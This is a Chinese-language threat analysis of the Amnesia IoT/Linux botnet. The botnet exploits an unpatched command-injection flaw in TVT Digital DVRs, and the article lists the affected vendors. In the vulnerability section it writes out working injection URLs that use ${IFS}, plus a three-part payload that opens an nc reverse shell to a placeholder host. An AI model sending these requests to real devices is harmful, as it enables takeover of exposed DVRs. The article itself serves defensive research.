Unit 42的研究人员发现看新型IoT/Linux恶意软件Amnesia开始以 DVR 设备为目标构建僵尸网络,Amnesia恶意软件利用在2016年3月披露但没有补丁的TVT Digital的DVR(数字录像机)设备的远程代码执行漏洞进行攻击。
这个漏洞大约影响着全球大约227,000台设备,以台湾,美国,以色列,土耳其和印度最多,如图所示。
此外,Amnesia恶意软件是第一个采用虚拟机逃避技术打败恶意软件分析沙箱的Linux恶意软件,虚拟机逃避技术通常与Microsoft Windows和Google Android恶意软件相关联。Amnesia会尝试检测它是否在VirtualBox,VMware还是QEMU的虚拟机中运行,如果它检测到这些环境,它将通过删除文件系统中的所有文件来擦除虚拟化的Linux系统。这不仅影响Linux恶意软件分析沙箱,还会影响VPS或公共云上的一些基于QEMU的Linux服务器。
Amnesia通过扫描,定位等技术来利用此远程代码执行漏洞。成功的攻击导致Amnesia能够完全控制装置。攻击者可能会利用Amnesia僵尸网络发起大范围的DDOS攻击。虽然这个漏洞在一年前就被公开披露了,但是至今好像还没有修复此漏洞。虽然Amnesia僵尸网络还没有被用来进行大规模的DDOS攻击,但这是一个存在很大问题的潜在危险。这里我们建议拥有此设备的读者使用最新的保护措施。
在追溯过程中,我们发现了有70多家厂商受到了影响,但是所有的DVR设备都是由TVT Digital公司制造的。
受此漏洞影响的厂商:
Ademco ATS Alarmes technolgy and ststems Area1Protection Avio Black Hawk Security Capture China security systems Cocktail Service Cpsecured CP PLUS Digital Eye'z no website Diote Service & Consulting DVR Kapta ELVOX ET Vision Extra Eye 4 U eyemotion EDS Fujitron Full HD 1080p Gazer Goldeye Goldmaster Grizzly HD IViewer Hi-View Ipcom IPOX IR ISC Illinois Security Cameras, Inc. JFL Alarmes Lince LOT Lux Lynx Security Magtec Meriva Security Multistar Navaio NoVus Optivision PARA Vision Provision-ISR Q-See Questek Retail Solution Inc RIT Huston .com ROD Security cameras Satvision Sav Technology Skilleye Smarteye Superior Electrial Systems TechShell TechSon Technomate TecVoz TeleEye Tomura truVue TVT Umbrella United Video Security System, Inc Universal IT Solutions US IT Express U-Spy Store Ventetian V-Gurad Security Vid8 Vtek Vision Line Visar Vodotech.com Vook Watchman Xrplus Yansi Zetec ZoomX
这些设备的81/82还有8000端口都是打开的,我们打开Web的页面是这样的:
在Shodan.io和Censys.io还有Zoomeye.org上查询,他们大约有227,000个,但我相信或许还有更多。
然后我们通过查找网页源码找到了WebClient.html
,再查看的WebClient.html
源码找到了script/live.js:里面包含了log/logo.png,如下图
我们再去官网下载固件,固件是一个zip的压缩包,解压后可以看到
首先我们查看boot.sh
,发现其执行了另一个bash
脚本deps2.sh,
该脚本执行两个二进制文件。XVDRStart.hisi
和td3520a
。从他们的大小可以看出来,主要代码应该是在td3520a
下面。td3520a
包含了符号表,这使分析变得更容易,在查看了一段时间后,我们发现在HTTP服务器的实现过程中出现了问题
可以看出,如果它包含以下内容,则读取URL。
/language/[language]/index.html
如果不存在,则执行此命令:
tar -zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language
这导致了远程代码执行。
但是要利用这个漏洞还要克服几个问题。
但这是可以使用$ {IFS}
绕过的,基本上,IFS
代表内部字段分隔符,它保存着shell使用的值来确定如何进行字段分割。默认情况下,它保存“\n
”,这正是我们需要的。我们可以通过请求:
/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js
当该文件被写入时,我们最试试另一个测试
/language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js
这里它会输出“root
”,但是考虑到长度的限制,我们把命令分成了三部分:
echo nc 1.1.1.1 1234>e
echo -e $SHELL>>e
$(cat e) &>r
接下来,我们再分析一下Amnesia恶意软件是如何使用这个漏洞来构建僵尸网络的。
Amnesia使用IRC协议与其C2服务器进行通信。下图显示了一些接收到的命令,包括通过不同类型的HTTP泛滥和UDP泛滥来启动DDoS攻击。
除了这些命令外,还实施了两个命令:CCTVSCANNER和CCTVPROCS。这些命令用于扫描和利用TVT数字设备DVR中的RCE漏洞。收到命令后,Amnesia首先对该命令附带的IP地址进行简单的HTTP请求,检查目标是含有漏洞的DVR设备。这通过在HTTP响应内容中搜索特殊字符串“Cross Web Server”来完成,如下图所示,因为TVT Digital
的DVR
将此字符串用作HTTP标头中的服务器名称。
如果发现含有漏洞的DVR,Amnesia将再发送四个HTTP请求,其中包含四个不同shell命令的漏洞利用负载。命令是:
这些命令创建了一个shell脚本文件并执行它。脚本内容与Amnesia C2服务器之一连接,并公开系统默认的shell。因此,受感染的设备将受攻击者的完全控制,并会收听从C2服务器发送的更多shell命令,如下图所示
当 Amnesia样本执行时,它将立即通过读取文件/sys/class/dmi/id/product_name
和/sys/class/dmi/id/sys_vendor
来检查它是否在虚拟机中运行,并检查文件内容与关键字“VirtualBox
“,”VMware
“和”QEMU
“,如下图所示。这两个文件用于Linux DMI
(桌面管理界面)存储硬件的产品和制造商信息。包含在DMI
文件中的这些字符串意味着Linux系统分别在基于VirtualBox
,VMware
或QEMU
的虚拟机中运行。
如果检测到虚拟机,Amnesia将自动删除,然后尝试删除所有以下目录:
/
”,〜/
”,./
”这些删除操作基本上等同于擦除整个Linux系统。它们通过简单地执行shell命令“rm -rf
”来实现,如下图所示。对于每个目录,“rm
”命令将执行两次,一个在后台,一个在前台。因此,删除三个目录将是平行的。最后,Amnesia将等待删除完成。
我们认为,Amnesia的作者想打败基于Linux的恶意软件分析沙盒,并为安全研究人员造成麻烦,因为代码中的硬编码但无用的字符串:“fxxkwhitehats
”。但是,基于虚拟机的沙箱通常启用了系统快照,允许快速恢复到原始状态(样本的分析任务可能会被破坏)。在这些情况下,影响将受到限制。真正的问题是,如果恶意软件感染了一些基于QEMU
的Linux服务器实例(如VPS供应商提供的虚拟主机),那么Linux服务器也将被擦除,如果备份不可用,这可能是灾难性的。
VM检查完后,Amnesia会根据当前用户的权限,在/etc/init.d/.rebootime和/etc/cron.daily/.reboottime
或〜/ .bashrc
和〜/ .bash_history
中创建持久性文件。然后它会杀死所有与Telnet
和SSH
相关的进程,并与C2
服务器连接以接收进一步的命令。
Amnesia硬编码了三个域名,如“irc.freenode.net
”作为诱饵C2服务器地址。然而,实际的C2配置在运行时由简单的Caesar密码算法解密。它选择了这三个服务器之一:
除了Amnesia僵尸网络提供的威胁之外,恶意软件揭示了当前IoT / Linux僵尸网络威胁的一些有趣和显著的趋势:
在Amnesia的情况下,由于恶意软件依赖于硬编码的C2
地址,如果尽可能的阻止这些地址,则可以防止另一个未来发生的潜在的攻击。在这里提醒各大IoT设备厂商,产品设备上线前应该先对设备进行安全检测,这些设备都是以后物联网世界的一部分,您的一个小举动或许影响到成千上万个人。
http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
*参考:paloaltonetworks,MottoIN小编编译发布,